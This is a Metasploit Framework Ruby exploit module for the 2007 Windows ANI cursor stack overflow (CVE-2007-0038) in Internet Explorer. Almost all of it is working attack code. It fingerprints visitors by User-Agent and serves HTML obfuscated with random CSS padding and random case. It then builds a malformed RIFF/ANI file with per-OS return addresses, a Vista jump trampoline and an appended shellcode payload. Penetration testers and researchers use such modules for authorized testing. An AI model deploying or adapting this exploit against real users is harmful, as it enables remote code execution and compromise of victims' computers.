##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'

module Msf

class Exploits::Windows::Browser::IE_ANI_CVE_2007_0038 < Msf::Exploit::Remote

  #
  # This module acts as an HTTP server
  #
  include Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Windows ANI LoadAniIcon() Chunk Size Stack Overflow (HTTP)',
      'Description'    => %q{
        This module exploits a buffer overflow vulnerability in the 
        LoadAniIcon() function of USER32.dll. The flaw is triggered
        through Internet Explorer (6 and 7) by using the CURSOR style sheet
        directive to load a malicious .ANI file. Internet Explorer will catch any
        exceptions that occur while the  invalid cursor is loaded, causing the 
        exploit to silently fail when the wrong target has been chosen. This 
        module will be updated in the near future to perform client-side 
        fingerprinting and brute forcing.

        This vulnerability was discovered by Alexander Sotirov of Determina
        and was rediscovered, in the wild, by McAfee.  
      },
      'License'        => MSF_LICENSE,
      'Author'         => 
        [ 
          'hdm',   # First version 
          'skape', # Vista support
        ],
      'Version'        => '$Revision$',
      'References'     => 
        [
          ['CVE', '2007-0038'],
          ['CVE', '2007-1765'],
          ['BID', '23194'],
          ['URL', 'http://www.microsoft.com/technet/security/advisory/935423.mspx'],
          ['URL', 'http://www.determina.com/security_center/security_advisories/securityadvisory_0day_032907.asp'],
          ['URL', 'http://www.determina.com/security.research/vulnerabilities/ani-header.html'],
        ],
      'DefaultOptions' =>
        {
          # Cause internet explorer to exit after the code hits
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'       => 1024 + (rand(1000)),
          'MinNops'     => 32,
          'Compat'      => 
            {
              'ConnectionType' => '-find',
            },
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          #
          # Use multiple cursor URLs to try all targets for a particular
          # operating system. This can result in multiple, sequential sessions
          #
          
          [ 'Automatic', { }],
        
          #
          # The following targets use call [ebx+4], just like the original exploit
          #
          
          # Partial overwrite for cross-language exploitation (latest user32 only)
          [ 'Windows XP SP2 user32.dll 5.1.2600.2622', { 'Ret' => 0x25ba, 'Len' => 2 }],
          
          # Should work for all English XP SP2
          [ 'Windows XP SP2 userenv.dll English', { 'Ret' => 0x769fc81a }],

          # Should work for English XP SP0/SP1
          [ 'Windows XP SP0/SP1 netui2.dll English', { 'Ret' => 0x71bd0205 }],          
          
          # Should work for English 2000 SP0-SP4+
          [ 'Windows 2000 SP0-SP4 netui2.dll English', { 'Ret' => 0x75116d88 }],          


          #
          # Partial overwrite where 700b is a jmp dword [ebx] ebx points to the start 
          # of the RIFF chunk itself.  The length field of the RIFF chunk
          # tag contains a short jump into an embedded riff chunk that
          # makes a long relative jump into the actual payload.
          #
          [ 'Windows Vista user32.dll 6.0.6000.16386', { 'Ret' => 0x700b, 'Len' => 2 } ]

        ],
      'DisclosureDate' => 'Mar 28 2007',
      'DefaultTarget'  => 0))
  end

  def autofilter
    false
  end
  
  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)

    mytarget = self.target
    ros  = /.*/

    case request.headers['User-Agent']

    when /Windows (NT |)4\.0/
      ros = /NT 4/
          
    when /Windows (NT |)5\.0/
      ros = /2000/
      
    when /Windows (NT |)5\.1/
      ros = /XP/
      
    when /Windows (NT |)5\.2/
      ros = /2003/
      
    when /Windows (NT |)6\.0/
      ros = /Vista/
    end
    
    
    targ = nil  
    exts = ['bmp', 'wav', 'png', 'zip', 'tar']
    gext =  exts[rand(exts.length)]
    
    ruri, qstr = request.uri.split('?')

    if (qstr and qstr =~ /.*=(\d+)/)
      targ = $1.to_i
    end
    
    mext = ruri =~ /\.(...)$/
    if (not (mext and exts.include?($1)))
    
      html =
        "<html><head><title>" + 
          rand_text_alphanumeric(rand(128)+4) +
        "</title>" +      
        "</head><body>" + rand_text_alphanumeric(rand(128)+1)

      mytargs = (target.name =~ /Automatic/) ? targets : [target]

      if target.name =~ /Automatic/
        targets.each_index { |i|
          next if not targets[i].ret
          next if not targets[i].name =~ ros
          html << generate_div(gext, i)
        }
      else
        html << generate_div(gext, target_index)
      end
      
      html << "</body></html>"
      
      send_response_html(cli, html)
      return
    end
    
    # Set the requested target
    if (targ and targets[targ])
      mytarget = targets[targ]
    end

    # Re-generate the payload, using the explicit target
    return if ((p = regenerate_payload(cli, nil, nil, target)) == nil)

    print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

    # Transmit the compressed response to the client
    send_response(cli, generate_ani(p, mytarget), { 'Content-Type' => 'application/octet-stream' })
    
    handler(cli)
  end

  def generate_div(gext, targ)
    "<div style='" +
      generate_css_padding() +
      Rex::Text.to_rand_case("cursor") +
      generate_css_padding() +
      ":" +
      generate_css_padding() +
      Rex::Text.to_rand_case("url(") +
      generate_css_padding() +
      '"' +
      get_resource + '/' + rand_text_alphanumeric(rand(80)+16) + ".#{gext}" + 
      "?#{rand_text_alpha(rand(12)+1)}=#{targ}" +
      '"' +
      generate_css_padding() +
      ");" +
      generate_css_padding() +
      "'>" +
      generate_padding() +
    "</div>"
  end

  def generate_ani(payload, target)
    
    # Build the first ANI header
    anih_a = [
      36,            # DWORD cbSizeof
      rand(128)+16,  # DWORD cFrames
      rand(1024)+1,  # DWORD cSteps
      0,             # DWORD cx,cy  (reserved - 0)
      0,             # DWORD cBitCount, cPlanes (reserved - 0)
      0, 0, 0,       # JIF jifRate
      1              # DWORD flags
    ].pack('V9')
    
    anih_b = nil

    if (target.name =~ /Vista/)
      # Vista has ebp=80, eip=84
      anih_b         = rand_text(84)
      
      # Overwrite local counter variable and pointers
      anih_b[68, 12] = [0].pack('V') * 3
    else
      # XP/2K has ebp=76 and eip=80
      anih_b         = rand_text(80)
      
      # Overwrite locals with invalid pointers
      anih_b[64, 12] = [0].pack('V') * 3
    end
        
    # Overwrite the return with address of a "call ptr [ebx+4]"
    anih_b << [target.ret].pack('V')[0, target['Len'] ? target['Len'] : 4]
      
    # Begin the ANI chunk
    riff = "ACON"

    # Calculate the data offset for the trampoline chunk and add
    # the trampoline chunk if we're attacking Vista
    if target.name =~ /Vista/
      trampoline_doffset = riff.length + 8

      riff << generate_trampoline_riff_chunk
    end
    
    # Insert random RIFF chunks
    0.upto(rand(128)+16) do |i|
      riff << generate_riff_chunk()
    end
    
    # Embed the first ANI header
    riff << "anih" + [anih_a.length].pack('V') + anih_a

    # Insert random RIFF chunks
    0.upto(rand(128)+16) do |i|
      riff << generate_riff_chunk()
    end
    
    # Trigger the return address overwrite
    riff << "anih" + [anih_b.length].pack('V') + anih_b

    # If this is a Vista target, then we need to align the length of the
    # RIFF chunk so that the low order two bytes are equal to a jmp $+0x16
    if target.name =~ /Vista/
      plen  = (riff.length & 0xffff0000) | 0x0eeb
      plen += 0x10000 if (plen - 8) < riff.length
  
      riff << generate_riff_chunk((plen - 8) - riff.length)

      # Replace the operand to the relative jump to point into the actual
      # payload itself which comes after the riff chunk
      riff[trampoline_doffset + 1, 4] = [riff.length - trampoline_doffset - 5].pack('V')
    end
    
    # Place the RIFF chunk in front and off we go
    ret  = "RIFF" + [riff.length].pack('V') + riff 

    # We copy the encoded payload to the stack because sometimes the RIFF
    # image is mapped in read-only pages.  This would prevent in-place
    # decoders from working, and we can't have that.
    ret << Rex::Arch::X86.copy_to_stack(payload.encoded.length) 

    # Place the real payload right after it.
    ret << payload.encoded

    ret
  end

  # Generates a riff chunk with the first bytes of the data being a relative
  # jump.  This is used to bounce to the actual payload
  def generate_trampoline_riff_chunk
    tag = Rex::Text.to_rand_case(rand_text_alpha(4))
    dat = "\xe9\xff\xff\xff\xff" + rand_text(1) + (rand_text(rand(256)+1) * 2)
    tag +  [dat.length].pack('V') + dat
  end

  def generate_riff_chunk(len = (rand(256)+1) * 2)
    tag = Rex::Text.to_rand_case(rand_text_alpha(4))
    dat = rand_text(len)
    tag + [dat.length].pack('V') + dat
  end
  
  def generate_css_padding
    buf =
      generate_whitespace() + 
      "/*" + 
      generate_whitespace() + 
      generate_padding() + 
      generate_whitespace() + 
      "*/" + 
      generate_whitespace()
  end

  def generate_whitespace
    len = rand(100)+2
    set = "\x09\x20\x0d\x0a"      
    buf = ''

    while (buf.length < len)
      buf << set[rand(set.length)].chr
    end
    buf
  end
  
  def generate_padding
    rand_text_alphanumeric(rand(128)+4)
  end

end

end